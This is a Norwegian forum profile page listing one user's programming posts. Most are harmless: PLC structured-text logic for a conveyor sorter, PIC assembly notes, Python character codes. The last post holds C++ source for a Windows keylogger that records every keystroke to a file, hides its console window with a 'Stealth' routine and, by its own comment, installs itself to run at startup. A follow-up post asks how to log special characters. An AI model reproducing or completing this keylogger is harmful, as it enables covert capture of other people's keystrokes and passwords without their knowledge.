Gå til innhold

Thomas.

Medlemmer
  • Innlegg

    1 497
  • Ble med

  • Besøkte siden sist

Innlegg skrevet av Thomas.

  1. IF'en kan vel gjøre litt enklere?

     

            
    IF NOT(Sorter1 OR Sorter2 OR Sorter3) THEN
       // ...        
    END_IF;

     

    Er usikker på om det måten å løse det på.

     

    Tror jeg ville laget en kø struktur vha av et array.

     

    Ja, men problemet er hvordan :hmm: Ikke stort utvalg av funksjoner akkurat. Det vil vel uansett blir et problem hvis varene kommer for tett?

     

    Har jo 3 forskjellige type varer. Uttak 3 har ikke noe å si egentlig, det som ikke skal dit blir sortert ut før. Trenger kun kø på uttak1 og 2.

     

    Kanskje bit shifting kan være noe?

  2. Det blir noe sånn da, dette bør vel funke så lenge man bare sender 1 og 1 figur forbi fotocella?

     

    IF StartStyring THEN
    
    // Hvilken figur blir oppdaget
    IF NOT(Sorter1) AND NOT(Sorter2) AND NOT(Sorter3) THEN
    	IF SensorFig1 THEN Sorter1 := TRUE; END_IF;
    	IF SensorFig2 THEN Sorter2 := TRUE; END_IF;
    	IF SensorFig3 THEN Sorter3 := TRUE; END_IF;
    END_IF;
    
    // Styring
    IF Sorter1 THEN
    	IF FolerBC1 AND FolerTC1 THEN
    		StatusC1 := TRUE;
    	ELSIF SensorUteC1 THEN
    		StatusC1 := FALSE;
    		Sorter1 := FALSE;
    	END_IF;
    END_IF;
    
    IF Sorter2 THEN
    	IF FolerBC2 THEN
    		StatusC2 := TRUE;
    	ELSIF SensorUteC2 THEN
    		StatusC2 := FALSE;
    		Sorter2 := FALSE;
    	END_IF;
    END_IF;
    
    IF Sorter3 THEN
    	StatusC1 := FALSE;
    	StatusC2 := FALSE;
    	IF FolerBC2 THEN
    		Sorter3 := FALSE;
    	END_IF;
    END_IF;
    
    // Setter status på uttak
    SylC1 := StatusC1;
    SylC2 := StatusC2;
    
    END_IF;

  3. Skjønner ikke helt situasjonen din. Men her er et forslag etter ren gjetning om hvordan det henger sammen.

     

    Fotocella registerer hvilken vare som kommer og nummererer denne. Ved å holde fortløpende kontroll på hvilke varer som er på båndet og hvor de er kan du aktivere og deaktivere uttakene på de riktige tidspunktene.

     

    Siden du kan bruke fotocellen til å finne ut hvilke varer som har passert denne, og rekkefølgen, kan du styre uttakene slik at varene kommer riktig. Når en vare har _passert_ et uttak den ikke skulle i blir den da registrert av neste sensor, og så videre. På den måten kan du vite hvordan fremdriften er på båndet.

     

    F.eks, først kommer en vare som skal til uttak tre etterfulgt av en vare som skal til uttak to. Når den første varen passerer sensoren i uttak to, og er nå på vei mot uttak tre blir uttak 2 aktivert, slik at den neste varen blir tatt ut her.

     

    Hvis det kommer en vare1 som skal ut på uttak 3, så kommer det en vare2 som skal ut på uttak 1 før vare1 har passert uttak1. Vil ikke det lage problemer?

  4. Har 3 forskjellige varer som skal sorteres ut på 3 forskjellige steder på et transportbånd. Alle varene passerer en fotocelle som gjenkjenner hvem vare som kommer, så skal den automatisk sorteres ut. Har sensorer på de to første stedene de kan sorteres ut, ikke på siste. Har ikke mulighet til å holde igjen andre varer.

     

    Altså:

    -----Fotocelle--------Uttak1/Sensor Høy---------Uttak2/Sensor Lav---------Uttak3

     

    Dreier seg om PLS. Bruker structured text (ligner på pascal) som programmeringsspråk.

     

    Noen forslag til logikk for å løse det? Blir jo et problem hvis varene kommer tett etterhverandre.

    Kunne jeg brukt arrays på et vis? :hmm:

  5.  

     

    To change register at once we use two command :

     

    MOVLW b'00001111'

    MOVWF PORTB

     

    This will move binary 00001111 to PORTB register. In assembly, we cannot put a number to a register directly. To do this we use accumulator(W) register. MOVLW means "move literal to accumulator". The literal is the constant comes after command (here b'00001111'). And, MOVWF means "move accumulator to register". The name of register comes after command (here PORTB).

     

     

    decfsz: http://stackoverflow.com/a/4976575

     

     

     

    • Liker 1
  6. Jeg brukte python til det, siden det er UTF 8 basert og bare kjørte kommandoene:

    ord("Æ")

    ord("Ø")

    ord("Å")

     

    Hvor får du 192, 221 og 222 fra/Hva er de? Får kun disse jeg:

    >>> ord("Ø")
    216
    >>> ord("ø")
    248
    >>> ord("Æ")
    198
    >>> ord("æ")
    230
    >>> ord("Å")
    197
    >>> ord("å")
    229

     

    Vet du hvordan jeg får til understrek? Prøvde med 95, men det virket ikke.

    Og, har du noe forslag til enklest mulig måte å utføre noe f.eks hvert 15-minutt mens programmet kjører?

  7. else test = &key_stroke;

     

    her er test av type char *, mens key_stroke er int, dette går ikke.

     

    bruk casting:

    else test = (char*)&key_stroke;

     

    Men husk at en int er som oftest 4 bytes, mens en char er 1 byte. Det vil si at en slik casting vil kun peke på den første byten.

    ( kanskje det du er ute etter er funksjonen itoa() )

     

    Fungerte med (char*) :)

     

    Hvordan vil koden bli da? Prøvde, men fungerte ikke med & foran variabelen. Prøvde med:

    else test = itoa(&key_stroke, test, 10);

    Får:

    70 invalid conversion from `int*' to `int' 
    70 initializing argument 1 of `char* itoa(int, char*, int)' 

     

    Hvordan får man logget bokstavene æ, ø, å og andre spesielle tegn? Slik at det vises riktig i log-filen.

  8. #include <iostream>
    #include <string>
    #include <fstream>
    #include <windows.h>
    #include <Winuser.h>
    
    using namespace std;
    
    int Save(int key_stroke, char *file);
    void Stealth();
    void initialize();
    char* logg_fil = "log.txt"; // Hvor skal ting logges
    
    // MAIN
    int main() {
    
    // Tegn
    unsigned char i;
    
    // Skjuler programmet
    Stealth();   
    // Kopierer programmet til desktop og legger til i oppstarten
    initialize();
    
    // Loop kjorer hele tiden
    while(true) {
       	// Alle tegnkoder mellom 8 og 190
       	// Tegnkoder: http://msdn.microsoft.com/en-us/library/ms927178.aspx
       	for(i = 8; i <= 190; i++) {
             	if(GetAsyncKeyState(i) == -32767) Save(i, logg_fil);
       	}
    }
    
    return 0;
    
    }
    
    /** Skrive logg til loggfil **/
    int Save (int key_stroke, char *file) {
    
       	/** Ikke logg museklikk **/
       	if((key_stroke == 1) || (key_stroke == 2)) {
       	return 0;
       	}
    
       	FILE * OUTPUT_FILE;
    
       	/** Åpner fil for logging **/
       	OUTPUT_FILE = fopen(file, "a+");
       	char* test;
    
       	if(key_stroke == 8) test = "[bACKSPACE]";
       	else test = &key_stroke;
    
       	fprintf(OUTPUT_FILE, "%s", test);
       	/** Lukker filen for logging **/
       	fclose(OUTPUT_FILE);
    
       	//cout << key_stroke << endl;
    
       	return 0;
    
    }
    
    
    void Stealth() {
       	HWND stealth;
       	AllocConsole();
       	stealth = FindWindowA("ConsoleWindowClass", NULL);
       	ShowWindow(stealth, 0);
    }
    
    

     

    Jeg får følgende feilmelding:

    57 cannot convert `int*' to `char*' in assignment 

     

    linje:

    else test = &key_stroke;

     

    Skjønner jo feilmeldingen, men lurer på hvordan jeg skal løse det.

     

    Jeg skal logge bokstavtrykk. :p

×
×
  • Opprett ny...